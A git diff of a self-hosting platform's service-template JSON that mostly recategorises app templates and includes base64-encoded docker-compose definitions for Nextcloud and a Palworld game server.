+        "compose": "c2VydmljZXM6CiAgbmV4dGNsb3VkOgogICAgaW1hZ2U6ICdsc2NyLmlvL2xpbnV4c2VydmVyL25leHRjbG91ZDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9ORVhUQ0xPVURfODAKICAgICAgLSBQVUlEPTEwMDAKICAgICAgLSBQR0lEPTEwMDAKICAgICAgLSAnVFo9JHtUWjotRXVyb3BlL01hZHJpZH0nCiAgICB2b2x1bWVzOgogICAgICAtICduZXh0Y2xvdWQtY29uZmlnOi9jb25maWcnCiAgICAgIC0gJ25leHRjbG91ZC1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwL3N0YXR1cy5waHAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1Cg==",
         "tags": [
             "cloud",
             "collaboration",
@@ -3250,7 +3250,7 @@
             "sqlite",
             "mariadb"
         ],
-        "category": "automation",
+        "category": "productivity",
         "logo": "svgs/nocodb.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -3313,7 +3313,7 @@
             "project management",
             "open-source"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/odoo.svg",
         "minversion": "0.0.0",
         "port": "8069"
@@ -3399,7 +3399,7 @@
             "compliance",
             "search"
         ],
-        "category": null,
+        "category": "email",
         "logo": "svgs/openarchiver.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -3451,7 +3451,7 @@
             "google",
             "alternative"
         ],
-        "category": "devtools",
+        "category": "analytics",
         "logo": "svgs/openpanel.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -3471,7 +3471,7 @@
             "no-code",
             "embeddable"
         ],
-        "category": null,
+        "category": "productivity",
         "logo": "svg/opnform.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -3488,7 +3488,7 @@
             "orangehrm",
             "hr management"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/orangehrm.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -3515,7 +3515,7 @@
             "support",
             "open-source"
         ],
-        "category": "cms",
+        "category": "helpdesk",
         "logo": "svgs/osticket.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -3572,7 +3572,7 @@
         "slogan": "Palworld.yaml",
         "compose": "c2VydmljZXM6CiAgcGFsd29ybGQ6CiAgICBpbWFnZTogJ3RoaWpzdmFubG9lZi9wYWx3b3JsZC1zZXJ2ZXItZG9ja2VyOnYxLjQuNicKICAgIHN0b3BfZ3JhY2VfcGVyaW9kOiAzMHMKICAgIHBvcnRzOgogICAgICAtICc4MjExOjgyMTEvdWRwJwogICAgICAtICcyNzAxNToyNzAxNS91ZHAnCiAgICB2b2x1bWVzOgogICAgICAtICdwYWx3b3JsZC1kYXRhOi9wYWx3b3JsZC8nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnVFo9JHtUWjo/VVRDfScKICAgICAgLSAnUFVJRD0ke1BVSUQ6PzEwMDB9JwogICAgICAtICdQR0lEPSR7UEdJRDo/MTAwMH0nCiAgICAgIC0gJ01VTFRJVEhSRUFESU5HPSR7TVVMVElUSFJFQURJTkc6P2ZhbHNlfScKICAgICAgLSAnTUFYX1BMQVlFUlM9JHtQTEFZRVJTOj8xNn0nCiAgICAgIC0gJ1NFUlZFUl9OQU1FPSR7U0VSVkVSX05BTUU6P3BhbHdvcmxkLXNlcnZlci1kb2NrZXIgYnkgVGhpanMgdmFuIExvZWYgdmlhIENvb2xpZnl9JwogICAgICAtICdTRVJWRVJfREVTQ1JJUFRJT049JHtTRVJWRVJfREVTQ1JJUFRJT046P3BhbHdvcmxkLXNlcnZlci1kb2NrZXIgYnkgVGhpanMgdmFuIExvZWYgdmlhIENvb2xpZnl9JwogICAgICAtICdTRVJWRVJfUEFTU1dPUkQ9JHtTRVJWRVJfUEFTU1dPUkQ6P3dvcmxkb2ZwYWxzfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtBRE1JTl9QQVNTV09SRDotYWRtaW5QYXNzd29yZH0nCiAgICAgIC0gJ0NPTU1VTklUWT0ke0NPTU1VTklUWTo/ZmFsc2V9JwogICAgICAtICdQVUJMSUNfSVA9JHtQVUJMSUNfSVA6LX0nCiAgICAgIC0gJ1BVQkxJQ19QT1JUPSR7UFVCTElDX1BPUlQ6PzgyMTF9JwogICAgICAtICdQT1JUPSR7UE9SVDo/ODIxMX0nCiAgICAgIC0gJ1FVRVJZX1BPUlQ9JHtRVUVSWV9QT1JUOj8yNzAxNX0nCiAgICAgIC0gJ1VQREFURV9PTl9CT09UPSR7VVBEQVRFX09OX0JPT1Q6P3RydWV9JwogICAgICAtICdSQ09OX0VOQUJMRUQ9JHtSQ09OX0VOQUJMRUQ6P3RydWV9JwogICAgICAtICdSQ09OX1BPUlQ9JHtSQ09OX1BPUlQ6PzI1NTc1fScKICAgICAgLSAnQkFDS1VQX0VOQUJMRUQ9JHtCQUNLVVBfRU5BQkxFRDo/dHJ1ZX0nCiAgICAgIC0gJ0RFTEVURV9PTERfQkFDS1VQUz0ke0RFTEVURV9PTERfQkFDS1VQUzo/ZmFsc2V9JwogICAgICAtICdPTERfQkFDS1VQX0RBWVM9JHtPTERfQkFDS1VQX0RBWVM6PzMwfScKICAgICAgLSAnQkFDS1VQX0NST05fRVhQUkVTU0lPTj0ke0JBQ0tVUF9DUk9OX0VYUFJFU1NJT046PzAgMCAqICogKn0nCiAgICAgIC0gJ0FVVE9fVVBEQVRFX0VOQUJMRUQ9JHtBVVRPX1VQREFURV9FTkFCTEVEOj9mYWxzZX0nCiAgICAgIC0gJ0FVVE9fVVBEQVRFX0NST05fRVhQUkVTU0lPTj0ke0FVVE9fVVBEQVRFX0NST05fRVhQUkVTU0lPTjo/MCAqICogKiAqfScKICAgICAgLSAnQVVUT19VUERBVEVfV0FSTl9NSU5VVEVTPSR7QVVUT19VUERBVEVfV0FSTl9NSU5VVEVTOj8zMH0nCiAgICAgIC0gJ0FVVE9fUkVCT09UX0VOQUJMRUQ9JHtBVVRPX1JFQk9PVF9FTkFCTEVEOj9mYWxzZX0nCiAgICAgIC0gJ0FVVE9fUkVCT09UX0VWRU5fSUZfUExBWUVSU19PTkxJTkU9JHtBVVRPX1JFQk9PVF9FVkVOX0lGX1BMQVlFUlNfT05MSU5FOj9mYWxzZX0nCiAgICAgIC0gJ0FVVE9fUkVCT09UX1dBUk5fTUlOVVRFUz0ke0FVVE9fUkVCT09UX1dBUk5fTUlOVVRFUzo/NX0nCiAgICAgIC0gJ0FVVE9fUkVCT09UX0NST05fRVhQUkVTU0lPTj0ke0FVVE9fUkVCT09UX0NST05fRVhQUkVTU0lPTjo/MCAwICogKiAqfScKICAgICAgLSAnQVVUT19QQVVTRV9FTkFCTEVEPSR7QVVUT19QQVVTRV9FTkFCTEVEOj9mYWxzZX0nCiAgICAgIC0gJ0FVVE9fUEFVU0VfVElNRU9VVF9FU1Q9JHtBVVRPX1BBVVNFX1RJTUVPVVRfRVNUOj8xODB9JwogICAgICAtICdBVVRPX1BBVVNFX0xPRz0ke0FVVE9fUEFVU0VfTE9HOj90cnVlfScKICAgICAgLSAnQVVUT19QQVVTRV9ERUJVRz0ke0FVVE9fUEFVU0VfREVCVUc6P2ZhbHNlfScKICAgICAgLSAnRU5BQkxFX1BMQVlFUl9MT0dHSU5HPSR7RU5BQkxFX1BMQVlFUl9MT0dHSU5HOj90cnVlfScKICAgICAgLSAnUExBWUVSX0xPR0dJTkdfUE9MTF9QRVJJT0Q9JHtQTEFZRVJfTE9HR0lOR19QT0xMX1BFUklPRDo/NX0nCiAgICAgIC0gJ0RJRkZJQ1VMVFk9JHtESUZGSUNVTFRZOj9Ob25lfScKICAgICAgLSAnUkFORE9NSVpFUl9UWVBFPSR7UkFORE9NSVpFUl9UWVBFOi19JwogICAgICAtICdSQU5ET01JWkVSX1NFRUQ9JHtSQU5ET01JWkVSX1NFRUQ6P25vbmV9JwogICAgICAtICdEQVlUSU1FX1NQRUVEUkFURT0ke0RBWVRJTUVfU1BFRURSQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ05JR0hUVElNRV9TUEVFRFJBVEU9JHtOSUdIVFRJTUVfU1BFRURSQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ0VYUF9SQVRFPSR7RVhQX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnUEFMX0NBUFRVUkVfUkFURT0ke1BBTF9DQVBUVVJFX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnUEFMX1NQQVdOX05VTV9SQVRFPSR7UEFMX1NQQVdOX05VTV9SQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ1BBTF9EQU1BR0VfUkFURV9BVFRBQ0s9JHtQQUxfREFNQUdFX1JBVEVfQVRUQUNLOj8xLjAwMDAwMH0nCiAgICAgIC0gJ1BBTF9EQU1BR0VfUkFURV9ERUZFTlNFPSR7UEFMX0RBTUFHRV9SQVRFX0RFRkVOU0U6PzEuMDAwMDAwfScKICAgICAgLSAnUExBWUVSX0RBTUFHRV9SQVRFX0FUVEFDSz0ke1BMQVlFUl9EQU1BR0VfUkFURV9BVFRBQ0s6PzEuMDAwMDAwfScKICAgICAgLSAnUExBWUVSX0RBTUFHRV9SQVRFX0RFRkVOU0U9JHtQTEFZRVJfREFNQUdFX1JBVEVfREVGRU5TRTo/MS4wMDAwMDB9JwogICAgICAtICdQTEFZRVJfU1RPTUFDSF9ERUNSRUFTRV9SQVRFPSR7UExBWUVSX1NUT01BQ0hfREVDUkVBU0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQTEFZRVJfU1RBTUlOQV9ERUNSRUFTRV9SQVRFPSR7UExBWUVSX1NUQU1JTkFfREVDUkVBU0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQTEFZRVJfQVVUT19IUF9SRUdFTl9SQVRFPSR7UExBWUVSX0FVVE9fSFBfUkVHRU5fUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQTEFZRVJfQVVUT19IUF9SRUdFTl9SQVRFX0lOX1NMRUVQPSR7UExBWUVSX0FVVE9fSFBfUkVHRU5fUkFURV9JTl9TTEVFUDo/MS4wMDAwMDB9JwogICAgICAtICdQQUxfU1RPTUFDSF9ERUNSRUFTRV9SQVRFPSR7UEFMX1NUT01BQ0hfREVDUkVBU0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQQUxfU1RBTUlOQV9ERUNSRUFTRV9SQVRFPSR7UEFMX1NUQU1JTkFfREVDUkVBU0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQQUxfQVVUT19IUF9SRUdFTl9SQVRFPSR7UEFMX0FVVE9fSFBfUkVHRU5fUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdQQUxfQVVUT19IUF9SRUdFTl9SQVRFX0lOX1NMRUVQPSR7UEFMX0FVVE9fSFBfUkVHRU5fUkFURV9JTl9TTEVFUDo/MS4wMDAwMDB9JwogICAgICAtICdCVUlMRF9PQkpFQ1RfSFBfUkFURT0ke0JVSUxEX09CSkVDVF9IUF9SQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ0JVSUxEX09CSkVDVF9EQU1BR0VfUkFURT0ke0JVSUxEX09CSkVDVF9EQU1BR0VfUkFURTo/MS4wMDAwMDB9JwogICAgICAtICdCVUlMRF9PQkpFQ1RfREVURVJJT1JBVElPTl9EQU1BR0VfUkFURT0ke0JVSUxEX09CSkVDVF9ERVRFUklPUkFUSU9OX0RBTUFHRV9SQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ0NPTExFQ1RJT05fRFJPUF9SQVRFPSR7Q09MTEVDVElPTl9EUk9QX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnQ09MTEVDVElPTl9PQkpFQ1RfSFBfUkFURT0ke0NPTExFQ1RJT05fT0JKRUNUX0hQX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnQ09MTEVDVElPTl9PQkpFQ1RfUkVTUEFXTl9TUEVFRF9SQVRFPSR7Q09MTEVDVElPTl9PQkpFQ1RfUkVTUEFXTl9TUEVFRF9SQVRFOj8xLjAwMDAwMH0nCiAgICAgIC0gJ0VORU1ZX0RST1BfSVRFTV9SQVRFPSR7RU5FTVlfRFJPUF9JVEVNX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnREVBVEhfUEVOQUxUWT0ke0RFQVRIX1BFTkFMVFk6P0FsbH0nCiAgICAgIC0gJ0VOQUJMRV9QTEFZRVJfVE9fUExBWUVSX0RBTUFHRT0ke0VOQUJMRV9QTEFZRVJfVE9fUExBWUVSX0RBTUFHRTo/RmFsc2V9JwogICAgICAtICdFTkFCTEVfRlJJRU5ETFlfRklSRT0ke0VOQUJMRV9GUklFTkRMWV9GSVJFOj9GYWxzZX0nCiAgICAgIC0gJ0VOQUJMRV9JTlZBREVSX0VORU1ZPSR7RU5BQkxFX0lOVkFERVJfRU5FTVk6P1RydWV9JwogICAgICAtICdBQ1RJVkVfVU5LTz0ke0FDVElWRV9VTktPOj9GYWxzZX0nCiAgICAgIC0gJ0VOQUJMRV9BSU1fQVNTSVNUX1BBRD0ke0VOQUJMRV9BSU1fQVNTSVNUX1BBRDo/VHJ1ZX0nCiAgICAgIC0gJ0VOQUJMRV9BSU1fQVNTSVNUX0tFWUJPQVJEPSR7RU5BQkxFX0FJTV9BU1NJU1RfS0VZQk9BUkQ6P0ZhbHNlfScKICAgICAgLSAnRFJPUF9JVEVNX01BWF9OVU09JHtEUk9QX0lURU1fTUFYX05VTTo/MzAwMH0nCiAgICAgIC0gJ0RST1BfSVRFTV9NQVhfTlVNX1VOS089JHtEUk9QX0lURU1fTUFYX05VTV9VTktPOj8xMDB9JwogICAgICAtICdCQVNFX0NBTVBfTUFYX05VTT0ke0JBU0VfQ0FNUF9NQVhfTlVNOj8xMjh9JwogICAgICAtICdCQVNFX0NBTVBfV09SS0VSX01BWF9OVU09JHtCQVNFX0NBTVBfV09SS0VSX01BWF9OVU06PzE1fScKICAgICAgLSAnRFJPUF9JVEVNX0FMSVZFX01BWF9IT1VSUz0ke0RST1BfSVRFTV9BTElWRV9NQVhfSE9VUlM6PzEuMDAwMDAwfScKICAgICAgLSAnQVVUT19SRVNFVF9HVUlMRF9OT19PTkxJTkVfUExBWUVSUz0ke0FVVE9fUkVTRVRfR1VJTERfTk9fT05MSU5FX1BMQVlFUlM6P0ZhbHNlfScKICAgICAgLSAnQVVUT19SRVNFVF9HVUlMRF9USU1FX05PX09OTElORV9QTEFZRVJTPSR7QVVUT19SRVNFVF9HVUlMRF9USU1FX05PX09OTElORV9QTEFZRVJTOj83Mi4wMDAwMDB9JwogICAgICAtICdHVUlMRF9QTEFZRVJfTUFYX05VTT0ke0dVSUxEX1BMQVlFUl9NQVhfTlVNOj8yMH0nCiAgICAgIC0gJ0JBU0VfQ0FNUF9NQVhfTlVNX0lOX0dVSUxEPSR7QkFTRV9DQU1QX01BWF9OVU1fSU5fR1VJTEQ6PzR9JwogICAgICAtICdQQUxfRUdHX0RFRkFVTFRfSEFUQ0hJTkdfVElNRT0ke1BBTF9FR0dfREVGQVVMVF9IQVRDSElOR19USU1FOj83Mi4wMDAwMDB9JwogICAgICAtICdXT1JLX1NQRUVEX1JBVEU9JHtXT1JLX1NQRUVEX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnQVVUT19TQVZFX1NQQU49JHtBVVRPX1NBVkVfU1BBTjo/MzAuMDAwMDAwfScKICAgICAgLSAnSVNfTVVMVElQTEFZPSR7SVNfTVVMVElQTEFZOj9GYWxzZX0nCiAgICAgIC0gJ0lTX1BWUD0ke0lTX1BWUDo/RmFsc2V9JwogICAgICAtICdIQVJEQ09SRT0ke0hBUkRDT1JFOj9GYWxzZX0nCiAgICAgIC0gJ1BBTF9MT1NUPSR7UEFMX0xPU1Q6P0ZhbHNlfScKICAgICAgLSAnQ0FOX1BJQ0tVUF9PVEhFUl9HVUlMRF9ERUFUSF9QRU5BTFRZX0RST1A9JHtDQU5fUElDS1VQX09USEVSX0dVSUxEX0RFQVRIX1BFTkFMVFlfRFJPUDo/RmFsc2V9JwogICAgICAtICdFTkFCTEVfTk9OX0xPR0lOX1BFTkFMVFk9JHtFTkFCTEVfTk9OX0xPR0lOX1BFTkFMVFk6P1RydWV9JwogICAgICAtICdFTkFCTEVfRkFTVF9UUkFWRUw9JHtFTkFCTEVfRkFTVF9UUkFWRUw6P1RydWV9JwogICAgICAtICdJU19TVEFSVF9MT0NBVElPTl9TRUxFQ1RfQllfTUFQPSR7SVNfU1RBUlRfTE9DQVRJT05fU0VMRUNUX0JZX01BUDo/VHJ1ZX0nCiAgICAgIC0gJ0VYSVNUX1BMQVlFUl9BRlRFUl9MT0dPVVQ9JHtFWElTVF9QTEFZRVJfQUZURVJfTE9HT1VUOj9GYWxzZX0nCiAgICAgIC0gJ0VOQUJMRV9ERUZFTlNFX09USEVSX0dVSUxEX1BMQVlFUj0ke0VOQUJMRV9ERUZFTlNFX09USEVSX0dVSUxEX1BMQVlFUjo/RmFsc2V9JwogICAgICAtICdJTlZJU0lCTEVfT1RIRVJfR1VJTERfQkFTRV9DQU1QX0FSRUFfRlg9JHtJTlZJU0lCTEVfT1RIRVJfR1VJTERfQkFTRV9DQU1QX0FSRUFfRlg6P0ZhbHNlfScKICAgICAgLSAnQlVJTERfQVJFQV9MSU1JVD0ke0JVSUxEX0FSRUFfTElNSVQ6P0ZhbHNlfScKICAgICAgLSAnSVRFTV9XRUlHSFRfUkFURT0ke0lURU1fV0VJR0hUX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnQ09PUF9QTEFZRVJfTUFYX05VTT0ke0NPT1BfUExBWUVSX01BWF9OVU06PzR9JwogICAgICAtICdSRUdJT049JHtSRUdJT046LX0nCiAgICAgIC0gJ1VTRUFVVEg9JHtVU0VBVVRIOj9UcnVlfScKICAgICAgLSAnQkFOX0xJU1RfVVJMPSR7QkFOX0xJU1RfVVJMOj9odHRwczovL2FwaS5wYWx3b3JsZGdhbWUuY29tL2FwaS9iYW5saXN0LnR4dH0nCiAgICAgIC0gJ1JFU1RfQVBJX0VOQUJMRUQ9JHtSRVNUX0FQSV9FTkFCTEVEOj9GYWxzZX0nCiAgICAgIC0gJ1JFU1RfQVBJX1BPUlQ9JHtSRVNUX0FQSV9QT1JUOj84MjEyfScKICAgICAgLSAnU0hPV19QTEFZRVJfTElTVD0ke1NIT1dfUExBWUVSX0xJU1Q6P1RydWV9JwogICAgICAtICdFTkFCTEVfUFJFREFUT1JfQk9TU19QQUw9JHtFTkFCTEVfUFJFREFUT1JfQk9TU19QQUw6P1RydWV9JwogICAgICAtICdNQVhfQlVJTERJTkdfTElNSVRfTlVNPSR7TUFYX0JVSUxESU5HX0xJTUlUX05VTTo/MH0nCiAgICAgIC0gJ1NFUlZFUl9SRVBMSUNBVEVfUEFXTl9DVUxMX0RJU1RBTkNFPSR7U0VSVkVSX1JFUExJQ0FURV9QQVdOX0NVTExfRElTVEFOQ0U6PzE1MDAwLjAwMDAwMH0nCiAgICAgIC0gJ1NFUlZFUl9SRVBMSUNBVEVfUEFXTl9DVUxMX0RJU1RBTkNFX0lOX0JBU0VfQ0FNUD0ke1NFUlZFUl9SRVBMSUNBVEVfUEFXTl9DVUxMX0RJU1RBTkNFX0lOX0JBU0VfQ0FNUDo/NTAwMC4wMDAwMDB9JwogICAgICAtICdDUk9TU1BMQVlfUExBVEZPUk1TPSR7Q1JPU1NQTEFZX1BMQVRGT1JNUzo/KFN0ZWFtLFhib3gsUFM1LE1hYyl9JwogICAgICAtICdVU0VfQkFDS1VQX1NBVkVfREFUQT0ke1VTRV9CQUNLVVBfU0FWRV9EQVRBOj9UcnVlfScKICAgICAgLSAnVVNFX0RFUE9UX0RPV05MT0FERVI9JHtVU0VfREVQT1RfRE9XTkxPQURFUjo/RmFsc2V9JwogICAgICAtICdJTlNUQUxMX0JFVEFfSU5TSURFUj0ke0lOU1RBTExfQkVUQV9JTlNJREVSOj9GYWxzZX0nCiAgICAgIC0gJ0FMTE9XX0dMT0JBTF9QQUxCT1hfRVhQT1JUPSR7QUxMT1dfR0xPQkFMX1BBTEJPWF9FWFBPUlQ6P1RydWV9JwogICAgICAtICdBTExPV19HTE9CQUxfUEFMQk9YX0lNUE9SVD0ke0FMTE9XX0dMT0JBTF9QQUxCT1hfSU1QT1JUOj9GYWxzZX0nCiAgICAgIC0gJ0VRVUlQTUVOVF9EVVJBQklMSVRZX0RBTUFHRV9SQVRFPSR7RVFVSVBNRU5UX0RVUkFCSUxJVFlfREFNQUdFX1JBVEU6PzEuMDAwMDAwfScKICAgICAgLSAnSVRFTV9DT05UQUlORVJfRk9SQ0VfTUFSS19ESVJUWV9JTlRFUlZBTD0ke0lURU1fQ09OVEFJTkVSX0ZPUkNFX01BUktfRElSVFlfSU5URVJWQUw6PzEuMDAwMDAwfScKICAgICAgLSAnQk9YNjRfRFlOQVJFQ19TVFJPTkdNRU09JHtCT1g2NF9EWU5BUkVDX1NUUk9OR01FTTotfScKICAgICAgLSAnQk9YNjRfRFlOQVJFQ19CSUdCTE9DSz0ke0JPWDY0X0RZTkFSRUNfQklHQkxPQ0s6LX0nCiAgICAgIC0gJ0JPWDY0X0RZTkFSRUNfU0FGRUZMQUdTPSR7Qk9YNjRfRFlOQVJFQ19TQUZFRkxBR1M6LX0nCiAgICAgIC0gJ0JPWDY0X0RZTkFSRUNfRkFTVFJPVU5EPSR7Qk9YNjRfRFlOQVJFQ19GQVNUUk9VTkQ6LX0nCiAgICAgIC0gJ0JPWDY0X0RZTkFSRUNfRkFTVE5BTj0ke0JPWDY0X0RZTkFSRUNfRkFTVE5BTjotfScKICAgICAgLSAnQk9YNjRfRFlOQVJFQ19YODdET1VCTEU9JHtCT1g2NF9EWU5BUkVDX1g4N0RPVUJMRTotfScK",
         "tags": null,
-        "category": null,
+        "category": "games",
         "logo": "svgs/default.webp",
         "minversion": "0.0.0"
     },
@@ -3610,7 +3610,7 @@
             "billing",
             "open source"
         ],
-        "category": "cms",
+        "category": "finance",
         "logo": "svgs/paymenter.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -3728,7 +3728,7 @@
             "automation",
             "aws"
         ],
-        "category": "automation",
+        "category": "email",
         "logo": "svgs/plunk.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -3876,7 +3876,7 @@
             "hoppscotch",
             "cors"
         ],
-        "category": null,
+        "category": "proxy",
         "logo": "svgs/hoppscotch.png",
         "minversion": "0.0.0",
         "port": "9159"
@@ -4029,7 +4029,7 @@
             "redmine",
             "project management"
         ],
-        "category": null,
+        "category": "productivity",
         "logo": "svgs/redmine.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -4211,7 +4211,7 @@
             "file",
             "webdav"
         ],
-        "category": null,
+        "category": "storage",
         "logo": "svgs/sftpgo.png",
         "minversion": "0.0.0",
         "port": "8080"
@@ -4248,7 +4248,7 @@
             "traces",
             "metrics"
         ],
-        "category": null,
+        "category": "monitoring",
         "logo": "svgs/signoz.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -4262,7 +4262,7 @@
             "markdown",
             "pkm"
         ],
-        "category": null,
+        "category": "productivity",
         "logo": "svgs/silverbullet.png",
         "minversion": "0.0.0",
         "port": "3000"
@@ -4341,7 +4341,7 @@
             "app-manager",
             "dashboard"
         ],
-        "category": null,
+        "category": "devtools",
         "logo": "svgs/soketi-app-manager.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -4734,7 +4734,7 @@
             "self-hosted",
             "dashboard"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/twenty.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -4779,7 +4779,7 @@
             "ab testing",
             "open source"
         ],
-        "category": "productivity",
+        "category": "devtools",
         "logo": "svgs/unleash.svg",
         "minversion": "0.0.0",
         "port": "4242"
@@ -4795,7 +4795,7 @@
             "ab testing",
             "open source"
         ],
-        "category": "productivity",
+        "category": "devtools",
         "logo": "svgs/unleash.svg",
         "minversion": "0.0.0",
         "port": "4242"
@@ -4888,7 +4888,7 @@
             "self-hosting",
             "postmark"
         ],
-        "category": "messaging",
+        "category": "email",
         "logo": "svgs/usesend.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -5298,7 +5298,7 @@
         "tags": [
             "storage"
         ],
-        "category": null,
+        "category": "storage",
         "logo": "svgs/cells.svg",
         "minversion": "0.0.0",
         "port": "8080"
diff --git a/templates/service-templates.json b/templates/service-templates.json
index c7b2e5b94..b47f2c1ac 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -27,7 +27,7 @@
             "expenses",
             "income"
         ],
-        "category": "productivity",
+        "category": "finance",
         "logo": "svgs/actualbudget.png",
         "minversion": "0.0.0",
         "port": "5006"
@@ -163,7 +163,7 @@
             "data-science",
             "nlp"
         ],
-        "category": "productivity",
+        "category": "ai",
         "logo": "svgs/argilla.png",
         "minversion": "0.0.0",
         "port": "6900"
@@ -216,7 +216,7 @@
             "self-hosted",
             "dbaas"
         ],
-        "category": null,
+        "category": "database",
         "logo": "svgs/autobase.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -353,7 +353,7 @@
             "budgeting",
             "expense tracking"
         ],
-        "category": "productivity",
+        "category": "finance",
         "logo": "svgs/budge.png",
         "minversion": "0.0.0"
     },
@@ -427,7 +427,7 @@
             "download",
             "downloader"
         ],
-        "category": null,
+        "category": "media",
         "logo": "svgs/calibre-web-automated-with-downloader.png",
         "minversion": "0.0.0",
         "port": "8083"
@@ -464,7 +464,7 @@
             "low",
             "code"
         ],
-        "category": null,
+        "category": "media",
         "logo": "svgs/cap.svg",
         "minversion": "0.0.0",
         "port": "5679"
@@ -520,7 +520,7 @@
             "postgresql",
             "sidekiq"
         ],
-        "category": "cms",
+        "category": "helpdesk",
         "logo": "svgs/chaskiq.png",
         "minversion": "0.0.0",
         "port": "3000"
@@ -540,7 +540,7 @@
             "postgresql",
             "sidekiq"
         ],
-        "category": "cms",
+        "category": "helpdesk",
         "logo": "svgs/chatwoot.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -570,7 +570,7 @@
             "upload",
             "sharing"
         ],
-        "category": null,
+        "category": "storage",
         "logo": "svgs/chibisafe.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -970,7 +970,7 @@
             "crm",
             "erp"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/dolibarr.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1016,7 +1016,7 @@
             "open-source",
             "low-code"
         ],
-        "category": "backend",
+        "category": "devtools",
         "logo": "svgs/drizzle.jpeg",
         "minversion": "0.0.0",
         "port": "4983"
@@ -1080,7 +1080,7 @@
             "stack",
             "devops"
         ],
-        "category": null,
+        "category": "monitoring",
         "logo": "svgs/elasticsearch.svg",
         "minversion": "0.0.0",
         "port": "5601"
@@ -1215,7 +1215,7 @@
             "automation",
             "project management"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/espocrm.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -1322,7 +1322,7 @@
             "personal",
             "manager"
         ],
-        "category": "productivity",
+        "category": "finance",
         "logo": "svgs/firefly.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -1501,7 +1501,7 @@
             "forms",
             "survey"
         ],
-        "category": "analytics",
+        "category": "productivity",
         "logo": "svgs/formbricks.png",
         "minversion": "0.0.0",
         "port": "3000"
@@ -1517,7 +1517,7 @@
             "ttrpg",
             "roleplaying"
         ],
-        "category": "media",
+        "category": "games",
         "logo": "svgs/foundryvtt.png",
         "minversion": "0.0.0",
         "port": "30000"
@@ -1532,7 +1532,7 @@
             "ticketing",
             "customer-support"
         ],
-        "category": "cms",
+        "category": "helpdesk",
         "logo": "svgs/freescout.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1545,7 +1545,7 @@
             "rss",
             "feed"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/freshrss.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1558,7 +1558,7 @@
             "rss",
             "feed"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/freshrss.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1571,7 +1571,7 @@
             "rss",
             "feed"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/freshrss.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1584,7 +1584,7 @@
             "rss",
             "feed"
         ],
-        "category": "cms",
+        "category": "RSS",
         "logo": "svgs/freshrss.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1755,7 +1755,7 @@
             "interface",
             "rrss"
         ],
-        "category": "monitoring",
+        "category": "productivity",
         "logo": "svgs/glance.png",
         "minversion": "0.0.0",
         "port": "8080"
@@ -1839,7 +1839,7 @@
             "notification",
             "collaboration"
         ],
-        "category": "productivity",
+        "category": "messaging",
         "logo": "svgs/gotify.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1855,7 +1855,7 @@
             "api",
             "go-whatsapp"
         ],
-        "category": "cms",
+        "category": "messaging",
         "logo": "svgs/gowa.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -1960,7 +1960,7 @@
             "data-pipelines",
             "scheduling"
         ],
-        "category": null,
+        "category": "automation",
         "logo": "svgs/hatchet.svg",
         "minversion": "0.0.0",
